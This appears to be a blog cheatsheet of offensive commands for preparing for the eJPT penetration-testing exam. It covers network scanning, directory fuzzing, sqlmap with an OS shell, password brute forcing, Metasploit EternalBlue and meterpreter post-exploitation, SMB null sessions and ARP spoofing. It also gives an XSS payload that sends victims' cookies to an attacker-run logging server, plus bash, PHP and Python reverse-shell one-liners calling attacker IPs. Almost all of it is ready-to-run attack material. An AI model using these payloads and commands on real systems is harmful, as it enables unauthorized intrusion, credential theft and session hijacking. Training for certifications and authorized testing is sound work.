eJPT Cheatsheet 🎓
Table of Contents
This post contains commands to prepare for eLearnSecurity eJPT exam.
nmap
hosts discovery nmap:
nmap -sn 10.10.10.0/24 > hosts.txt
nmap -sn -T4 10.10.30.0/24 -oG - | awk '/Up$/{print $2}'
open ports scan (save to file):
nmap -Pn -sV -T4 -A -oN ports.txt -p- -iL hosts.txt --open
UDP port scan:
nmap -sU -sV 10.10.10.0/24
nmap vuln scan example:
nmap --script vuln --script-args=unsafe=1 -iL hosts.txt
nmap SYN flood example:
watch -n 10 "nmap -e wlan0 -Pn -T5 -S 192.168.0.253 192.168.0.251"
spotting a firewall
If an nmap TCP scan identified a well-known service, such as a web server, but cannot detect the version, then there may be a firewall in place.
For example:
PORT STATE SERVICE REASON VERSION
80/tcp open http? syn-ack ttl 64
Another example:
80/tcp open tcpwrapped
“tcpwrapped” means the TCP handshake was completed, but the remote host closed the connection without receiving any data.
These are both indicators that a firewall is blocking our scan with the target!
Tips:
- Use “–reason” to see why a port is marked open or closed
- If a “RST” packet is received, then something prevented the connection - probably a firewall!
masscan
masscan open only examples:
sudo masscan -p 21,22,80,8080,445,9200 --rate 64000 --wait 0 --open-only -oG masscan.gnmap 10.0.0.0/24
sudo masscan -iL hosts.list -p0-65535 --rate 64000 --open-only
httprint
httprint banner grabling:
httprint -P0 -s /usr/share/httprint/signatures.txt -h 10.10.10.15
route
add a route linux:
ip route add 192.168.88.0/24 via 10.10.34.1
routing table:
netstat -rn
Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt Iface
...
192.168.88.0 10.10.34.1 255.255.255.0 UG 0 0 0 tap0
...
subdomains
discovery subdomain of a target by sublist3r:
sublist3r -d company.com
wireshark
filter by ip
ip.add == 10.10.10.9
filter by dest ip
ip.dest == 10.10.10.15
filter by source ip
ip.src == 10.10.16.33
filter by tcp port
tcp.port == 25
filter by ip addr and port
ip.addr == 10.10.14.22 and tcp.port == 8080
filter SYN flag
tcp.flags.syn == 1 and tcp.flags.ack ==0
broadcast filter
eth.dst == ff:ff:ff:ff:ff:ff
web app enumeration (gobuster)
fuzz directories
gobuster dir -u http://example.com -w /usr/share/wordlists/rockyou.txt
fuzz files
gobuster dir -u http://example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -o output.txt
webapp enum (ffuf)
directory discovery:
ffuf -w wordlist.txt -u http://example.com/FUZZ
file discovery:
ffuf -w wordlist.txt -u http://example.com/FUZZ -e .aspx,.php,.txt,.html
output of responses with status code:
ffuf -w /usr/share/wordlists/dirb/small.txt -u http://example.com/FUZZ -mc 200,301
the -maxtime flag offers to end the ongoing fuzzing after the specified time in seconds:
ffuf -w wordlist.txt -u http://example.com/FUZZ -maxtime 60
number of threads:
ffuf -w wordlist.txt -u http://example.com/FUZZ -t 64
sqlmap
determine the databases:
sqlmap -u http://10.10.10.15/?id=4 --dbs
determine the tables:
sqlmap -u http://10.10.10.15/?id=4 -D dbname --tables
if tables not available, guess tables using common names
sqlmap -u http://10.10.10.15/?id=4 -D dbname --common-tables
dump a table’s data:
sqlmap -u http://10.10.10.15/?id=4 -D dbname -T table --dump
try to get os-shell:
sqlmap -u http://10.10.10.15/?id=4 --os-shell
xss
check example:
<script>alert("hack :)")</script>
hijack cookie through xss
there are four components as follows:
- attacker client pc
- attacker logging server
- vulnerable server
- victim client pc
-
attacker: first finds a vulnerable server and its breach point.
-
attacker: enter the following snippet in order to hijack the cookie kepts by victim client pc (p.s.: the ip address, 192.168.99.102, belongs to attacker logging server in this example):
<script>var i = new Image();i.src="http://192.168.99.102/log.php?q="+document.cookie;</script>
- attacker: log into attacker logging server (P.S.: it is 192.168.99.102 in this example), and execute the following command:
nc -vv -k -l -p 80
-
attacker: when victim client pc browses the vulnerable server, check the output of the command above.
-
attacker: after obtaining the victim’s cookie, utilize a firefox’s add-on called Cookie Quick Manager to change to the victim’s cookie in an effort to hijack the victim’s privilege.
bruteforce (hydra, john, hashcat)
wordlist generation
cewl example.com -m 3 -w wordlist.txt
hydra http basic auth brute
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt example.com http-head /admin/
hydra brute http digest
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt example.com http-get /admin/
hydra brute http post form
hydra -l admin -P /usr/share/wordlists/rockyou.txt example.com https-post-form "/login.php:username=^USER^&password=^PASS^&login=Login:Not allowed"
hydra brute http authenticated post form
hydra -l admin -P /usr/share/wordlists/rockyou.txt example.com https-post-form "/login.php:username=^USER^&password=^PASS^&login=Login:Not allowed:H=Cookie\: PHPSESSID=if0kg4ss785kmov8bqlbusva3v"
hydra brute
hydra -f -v -V -L users.txt -P rockyou-15.txt -s 2223 -f ssh://10.10.10.17
hydra -v -V -l admin -P rockyou-10.txt ssh://10.10.10.18
combine passwd with shadow file for john the ripper:
unshadow passwd shadow > crack.hash
john the ripper bruteforce:
john -wordlist /usr/share/wordlists/rockyou.txt crack.hash
john -wordlist /usr/share/wordlists/rockyou.txt -users users.txt test.hash
hashcat:
hashcat -m 1000 -a 0 -o found.txt --remove crack.hash rockyou-10.txt
wpscan
wpscan --url http://10.10.10.14 --enumerate u
wpscan --url example.com -e vp --plugins-detection mixed --api-token API_TOKEN
wpscan --url example.com -e u --passwords /usr/share/wordlists/rockyou.txt
wpscan --url example.com -U admin -P /usr/share/wordlists/rockyou.txt
mysql
scan:
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 10.10.10.13
examples:
mysql -h 10.10.10.23 -P 13306 -u root -p -e "show databases;"
mysql -h 10.10.10.23 -P 13306 -u root -p -e "use mydb;show tables;"
mysql -h 10.10.10.23 -P 13306 -u root -p -e "use mydb;select * from users;"
msfconsole
search exploit
msf> search cve:2011 port:135 platform:windows target:XP
basic
msfconsole
use auxiliary/scanner/mssql/mssql_login
set rhosts 10.10.10.110
set rports 1433
set username admin
set password 12345
set verbose true
run
mssql payload
use exploit/windows/mssql/mssql_payload
set rhosts 10.10.10.177
set rport 1433
set srvport 53
set username admin
set password qwerty
set payload windows/x64/meterpreter_reverse_tcp
ssh login enumeration (bruteforce)
use auxiliary/scanner/ssh/ssh_login
show options
set rhosts 10.10.10.133
set user_file /usr/share/ncrack/minimal.usr
set pass_file /usr/share/ncrack/minimal.usr
set verbose true
run
eternal blue x86 architecture example:
use exploit/windows/smb/ms17_010_psexec
show options
eternal blue x64 architecture example:
use exploit/windows/smb/ms17_010_eternalblue
show options
set payload windows/x64/meterpreter/reverse_tcp
meterpreter
meterpreter>run autoroute -s 172.16.50.0/24
background
sessions -l
sessions -i 1
sysinfo, ifconfig, route, getuid
getsystem (privesc)
bypassuac
download x /root/
upload x C:\\Windows
shell
use post/windows/gather/hashdump
windows shares
enumeration with smbclient
nmblookup -A 10.16.64.223
smbclient -L //10.16.64.223 -N share
smbclient //10.16.64.223/share -N mount
enum4linux -a 10.10.10.13
enumeration with nmap:
ll /usr/share/nmap/scripts/ | grep smb-enum-
-rw-r--r-- 1 root root 4846 Jan 9 2019 smb-enum-domains.nse
-rw-r--r-- 1 root root 5931 Jan 9 2019 smb-enum-groups.nse
-rw-r--r-- 1 root root 8045 Jan 9 2019 smb-enum-processes.nse
-rw-r--r-- 1 root root 27262 Jan 9 2019 smb-enum-services.nse
-rw-r--r-- 1 root root 12057 Jan 9 2019 smb-enum-sessions.nse
-rw-r--r-- 1 root root 6923 Jan 9 2019 smb-enum-shares.nse
-rw-r--r-- 1 root root 12531 Jan 9 2019 smb-enum-users.nse
nmap --script=smb-enum-users 192.168.1.10
null sessions
- Use “enum4linux -n” to make sure if “<20>” exists:
enum4linux -n 192.168.1.10
- If “<20>” exists, it means Null Session could be exploited. Utilize the following command to get more details:
enum4linux 192.168.1.10
- If confirmed that Null Session exists, you can remotely list all share of the target:
smbclient -L WORKGROUP -I 192.168.1.10 -N -U ""
- You also can connect the remote server by applying the following command:
smbclient \\\\192.168.1.10\\c$ -N -U ""
- Download those files stored on the share drive:
smb: \> get Congratulations.txt
ARP spoofing
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i tap0 -t 10.13.37.100 -r 10.13.37.101
reverse shell
bash
bash -i >& /dev/tcp/10.0.14.22/4444 0>&1
php one line (bash)
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.14.10/4444 0>&1'"); ?>
python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.14.22",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")